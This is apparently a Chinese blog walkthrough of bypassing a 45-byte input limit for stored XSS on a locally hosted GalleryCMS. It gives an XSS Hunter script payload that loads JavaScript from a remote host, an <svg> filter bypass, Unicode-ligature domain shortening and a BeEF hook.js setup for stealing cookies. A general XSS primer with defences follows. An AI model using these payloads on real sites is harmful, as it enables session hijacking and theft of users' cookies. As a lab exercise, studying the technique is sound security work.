XSS短字符域名绕过

先在phpstudy上搭建一个gamerycms的一个平台,文件可以在github上获得:https://github.com/bensonarts/GalleryCMS
搭建完成之后我们就有以下的界面

这将是我们进行xss存储型攻击的目标,当然也需要一个工具这边国内外都有网站,我用的国外的网站,https://xsshunter.com/直接注册,为了之后的方便建议把自定义xss域名设置短一点,然后我们就可以进行尝试绕过了;
先一步把靶机配置好环境,然后我们进到xsshunter中在里边我们能获取到Payloads,这是推荐给我们的语句,是可以直接使用的。
通常情况下,程序员在编写前端的时候,都会限制我们用户输入的字符长度,所以我们要选择最短的一条语句输入;

这条是最短的(别问我为什么域名这么长,申请不到)

<script>$.getScript("//1122334zmbgxyh233.xss.ht")</script>

之后就前往搭建好的网站上测试

在里边输入我们复制的最短的语句并Add;


很明显说输入的长度不能超过45字节,我们输入的超过了45字节,那我们就应该怎么样去减少长度,这时候我们想方设法(上帝模式)去查看网站对输入的标签的过滤规则

很明显它过滤了很多的标签,但是忘记了<svg>这个标签所以我们可以从这里下手,很明显<svg>这个标签就比<script>短这么些直接就去尝试一番

很明显长度还是超过了,此路不通,换个思路,从编码的角度上去想,因为在unicode编码里可以将将三个字符编码成一个字符的编码格式就像是:

- ff expands to `ff`
- ℠ expands to `sm`
- ㏛ expands to `sr`
- st expands to `st`
- ㎭ expands to `rad`
- ℡ expands to `tel`

这些前边是编码后的内容,被认定为一个字节,后边是他们原本的字节长度,所以我们就可以继续从域名方面下手,再次缩短他的长度,就像是℡㎭.cn这一共才5个字节,而且是完全可以使用的,我们只需要去域名注册,寻找telrad.xx这样的域名去注册购买再去成上述的步骤就可以,但是这样就出现了一个问题,<svg>加上你的域名只能产生一个弹窗,并不能访问我们的.js文件,所以我们就需要去买一个服务器,把我们的域名绑定到服务器上,在服务器上安装一个beef的程序,将hook.js写入到index.html中,当我们把需要输入的语句输进去之后,就会访问我们服务器,而我们的服务器上的beef中的hook.js就会将的访问重定向到我们事先准备的地方然后就会获得我们所需要的东西,这样就绕过了;当然你要是问我为什么没有过程只有文字描述,那是因为我没有服务器,买不起域名~~[哭]

想想xsshunter该怎么做;
可以使用域名重定向(国内要备案)所以用国外的域名;
首先购买一个外网的域名(当然要短,也尽量满足我们unicode编码的形式)然后将域名用DNS将域名重定向到我们xsshunter申请的网站上,在长度满足的情况下完全是没有问题的;
所以就我现在申请的1122334zmbgxyh233这样的域名很明显是难以完场20个字符这样艰巨的任务的,这样的话我们就只有两种方式来解决这件事(上帝模式)网站是我们自己搭建的可以修改插入字符的长度,但显然这样没有什么意思,所以我们就去xsshunter上重新申请一个满足要求的域名.
申请完成之后还有个前提是网站在没有现在<script>标签的前提下我们去尝试一下

现在我们的字节长度是25,当然如果是上边的两种方法肯定是可以更短

现在可以明显看到已经开始访问我们xsshunter了;去看一下

我们的xsshunter已经有了返回值

这是里边的内容 我们已经获得了网站的cookies这样基本上这个网站就已经是我们的囊中物了;//虽然他本来就是//

XSS相关知识

XSS攻击(跨网站脚本攻击—Cross Site Scripting)

攻击

​ 利用网页开发时留下的漏洞,通过注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序

攻击对象

​ JavaScrept、 Java、 VBScript、ActiveX、 Flash、HTML

后果

​ 攻击者可能得到包括但不限于更高的权限,私密网页内容,会话和cookie等各种内容。

特点

​ 攻击发起容易,隐秘性强

攻击原理

​ HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始、之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

攻击类型

​ (1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

​ (2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

​ (3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。(基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。)

攻击手段

​ 1、盗用cookie,获取敏感信息。

​ 2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。

​ 3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

​ 4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

​ 5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

防御

​ (1)不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“<”,“>”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。

​ (2)实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

​ (3)cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。

​ (4)确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。

XSS短字符短域名绕过,XSS相关的知识相关推荐

  1. 网站创建:必要探听的域名和空间相关知识

    在操作seo之前,我们需要拥有自己的网站,那么就需要先掌握域名和空间相关的知识. 一.域名的选择 搭建网站之前,我们需要给自己的网站选择一个域名. 其实,域名就相当于我们现实生活中的门牌号码一样.具有 ...

  2. 复现20字符短域名绕过以及xss相关知识点

    xss xss攻击 xss指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取.会话劫持.钓鱼欺骗等各攻击. xss攻击 ...

  3. XSS跨站脚本攻击详解以及复现gallerycms字符长度限制短域名绕过

    一.什么是XSS 1.XSS原理 跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种.XSS是由于We ...

  4. XSS详解及复现gallerycms字符长度限制短域名绕过

    一.什么是XSS? 1.xss的原理 跨站脚本攻击XSS.恶意攻击者网web页面中插入恶意的script代码,当用户浏览该页时,嵌入web页面中的script代码会被执行,从而达到恶意攻击用户的目的. ...

  5. xss绕过字符过滤_XSS绕过实战练习

    前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...

  6. 短字符域名火爆至此,.tw域名逃得了吗?

    今年的域名行情一波又一波,先是域名批量注册潮,许多大佬纷纷批量进仓,6位数.com..net等域名被一扫而尽,再是短字符域名抢注火爆,.ag..tt..tv..lc等短字符域名纷纷告急.在这样一个短字 ...

  7. XSS与字符编码的那些事儿

    目录 0x00:基本介绍 0x01:html实体编码 0x02:新增的实体编码 实体编码变异以及浏览器的某些工作原理! 0x03:javascript编码 0x04:base64编码 0x05:闲扯 ...

  8. XSS注入原理以及一些绕过姿势

    介绍 XSS--跨站脚本攻击.通过这个攻击手段,攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中,当用户浏览带有恶意代码的页面时,这些恶意代码会被触发,从而达到攻 ...

  9. 短网址生成+域名检测+短网址还原等四合一前端源码

    介绍: 短网址生成+域名检测+短网址还原等四合一前端源码没有功能哦~!有会后端技术的可以拿去开发用!页面还是挺漂亮的,里面还有很多子页面都非常的好看! 网盘下载地址: http://kekewangL ...

最新文章

  1. js中==与===的区别
  2. 【信息化】CIO议题营销模型
  3. java addfirst()_Java addFirst(),addLast() 在链表(LinkedList)的开头和结尾添加元素
  4. 法国spin高等计算机学校,法国顶尖“大矿”,一起去矿校挖矿吧!
  5. SAP Spartacus pop over 元素的单元测试
  6. 区块链技术的发展趋势
  7. 苹果员工出逃现象严重:人才挽留成大难题
  8. 相似基因(洛谷-P1140)
  9. 学位论文检测系统的说明与修改
  10. 《产品设计与开发(原书第5版)》——第1章 概论 1.1 成功的产品开发的特点...
  11. 贪吃蛇小游戏(C语言)
  12. miui国际版/波兰版 开通公交卡 / 模拟门禁卡
  13. MYSQL 数据库的常用语句
  14. 采样频率,采样率,转换速率
  15. MYSQL排序加分页报错Out of sort memory, consider increasing server sort buffer size
  16. SOA:ESB 服务注册中心
  17. Django开发了个人博客以及开通公众号
  18. 你是否了解APP耗电问题?深入探索 Android 电量优化,flutter插件推荐
  19. 大尺寸图片的性能和内存优化
  20. docker-compose 启动mysql、mongodb

热门文章

  1. java爬虫系列(二)——爬取动态网页
  2. BAPI上传物料主数据
  3. 万历皇帝的金丝蟠龙翼善冠
  4. 微型计算机实验仪,微型计算机实验仪
  5. occt 几何图形库入门01
  6. Cadence Orcad Capture疑难问题解答1:修改标号后出现下划线图文教程及视频演示
  7. git 默认的名字和账号
  8. June 18(th)
  9. windows server 2012 RD服务器
  10. Android 图片压缩各种方式